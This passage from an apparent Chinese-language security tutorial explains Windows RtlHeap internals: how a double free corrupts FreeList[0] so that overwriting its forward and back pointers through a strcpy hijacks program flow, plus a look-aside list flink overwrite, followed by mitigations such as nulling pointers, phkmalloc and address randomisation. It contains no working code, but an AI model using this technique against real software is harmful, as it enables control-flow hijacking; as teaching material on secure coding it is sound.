图的上部分表示空闲链表的结构，FreeList[0]在0x00BA0708处包含了一个空闲块，FreeList[3]包含了另一个空闲块，地址为0x00BA06A0，这个空闲块就是h2。空闲块的大小是用户申请的空间加上8字节的头部，所以h2的大小是16+8=24字节，所以才位于FreeList[3]空闲链表中。

图的下半部分展示了从h1头部起的内存内容。由于事先用相应的英文字母做了填充，所以我们可以很清楚地辨识它们。我们很清楚地看到16字节地b只剩下了8字节，这是为啥？因为h2已经被释放，所以其起始8字节（06a0）的内容已经被指向FreeList[3]链表头的前向指针和后向指针(00BA0190)所覆写。

下图展示的是代码第18行第一次释放h3以后的堆的情况

从图的上半部分我们可以看出FreeList[3]中的空闲块消失了，取而代之的是FreeList[8]，起始地址是0x00BA06A0，大小为64字节。这是因为h2和h3本是相邻内存块，内存块在释放之前都会检查其相邻内存块是否处于空闲状态，然后判断是否要与之合并。这里就是h2事先释放了处于空闲状态（位于FreeList[3]中），所以释放h3的时候检测到h2的空闲状态，所以RtlHeap就把h2从FreeList[3]中取下来与h3合并（8+16+8+32=64）得到64字节的大内存块，最后在放入FreeList[8]中。这就是为什么h3的数据区前8个字节没有被相应的前后向指针覆写而h2的原前后向指针被更新了的原因。

程序到此为止所有的操作都是合法的，但是第19行对h3的二次释放是一个编程错误且存在安全缺陷。下图展示了h3双重释放后的堆的情况

我们惊奇地发现FreeList[0]中的第一块地址已经位于h2（0x00BA06A0）处，这表明RtlHeap认为从地址0x00BA06A0起的2048字节内存都是未分配的，即空闲块。至于为什么第二次free(h3)后会导致堆的这种变化，我们也不清楚，我们只相信自己的眼睛。

我们知道攻击者可以通过覆写FreeList[0]的前后向指针把程序的控制权转移到任何地址。而此时此刻其前后向指针就在地址0x00BA06A0处，但是我们没有直接或间接指向该地址的指针，所以我们得另辟蹊径。我们惊喜地发现h4之前申请了内存但是还没有释放，其头部位于0x00BA06D8，数据区位于0x00BA06E0；而此时FreeList[0]第一块内存前后向指针位于0x00BA06A0。我们如果此时申请64字节地内存，其前后向指针就会后移到与0x00BA06E0重合。这正是h4起始地址。直接写入8个字节就可以覆写前后向指针完成劫持程序流程。

程序第22行strcpy((char *)h4, buffer);就是覆写FreeList[0]第一块内存的前后向指针，程序第23行h7 = HeapAlloc(hp, 0, 16);就是利用类似于ulink的函数达到写入shellcode地址到目标地址的目的。shellcode和目标地址具体要怎么处理就看攻击者喜好了。

备用表

look-aside table, 这里就称它为备用表吧！上面说的都是对空闲链表的漏洞利用，其实这些利用对备用表也同样有效。例如这种情况：

如果一个缓冲区溢出的对象内存块是一个存在于备用链表中的空闲块，那么就允许攻击者将flink指针改写为任意值。如果这个内存块被重分配了，那么被替换后的flink指针将被复制到备用链表的头部。当下一次调用HeapAlloc()函数从该链表中分配内存块时，此函数就会返回这个由攻击者指定的值。

缓解策略

基于堆的漏洞的内存管理缺陷特别棘手，因为它们对程序的执行没有明显的影响，通常就检测不到。但是现在也有很多缓解措施可以用来消除或减少基于堆的漏洞。

空指针

在指针所引用的内存被释放后将指针设为NULL

好处

将指针设为NULL后，任何企图解引用该指针的操作都将导致致命的错误，这将有助于发现问题
指针被置为NULL后可以被多次释放而不会导致不良后果

不足

如果多个指针指向同一个数据结构的话该方法就会失效

在具有垃圾回收器的系统中，所有的指针或引用在其指定的数据不再需要时都应该被设为NULL，否则数据将不会被垃圾回收器收集。没有垃圾回收器的系统应该在引用某数据的最后一个指针或引用被删除前释放该数据。

一致的内存管理约定

使用同样的模式分配和释放内存

如C++在构造函数中进行所有的内存分配，在析构函数中进行所有的内存释放
在同一个模块中，在同一个抽象层次中，分配和释放内存。不要在子例程中释放内存
让分配和释放配对

phkmalloc

phkmalloc最初是由Poul-Henning Kamp在1995-1996年为FreeBSD所写的，后来被很多操作系统所采用，包括NetBSD，OpenBSD以及一些Linux发行版。

phkmalloc 被设计成可以在一个虚拟内存系统中高效运作，这样就能执行更强的检查。 phkmalloc 本质上是不信任程序员的，因为他们容易犯错。 phkmalloc 不能检查出是否传递了一个错误但有效的指针，但是它可以检测所有不是由内存分配函数返回的指针。所以 phkmalloc 可以在不解引用指针的前提下判定传递给free()或realloc()的指针是否有效。因此 phkmalloc 可以检测所有的双重释放错误。

地址随机化

随机化基于这样一个原理：击中一个移动的目标往往比静止的目标更难。传统的malloc()返回的内存分配地址在很大程度上是可预测的。通过让内存管理程序返回的内存地址随机化，可以使基于堆的漏洞利用更加困难。

在Windows和Unix系统上，内存管理器首先向操作系统申请内存页，然后根据应用程序进程的要求将请求来的内存页分为更小的内存块进行管理。所以我们可以选择使操作系统返回的内存页地址随机化，也可以使内存管理程序返回的内存块的地址随机化。

由于地址随机化会让调试工作变得更加困难，因此通常在运行时可以选择启用或者禁用。而且，地址随机化往往会导致不可预测的、巨大的性能开销。

参考资料

《C和C++安全编码第2版》
《程序员的自我修养—链接、装载与库》
《0day安全第2版》
《ctf-all-in-one》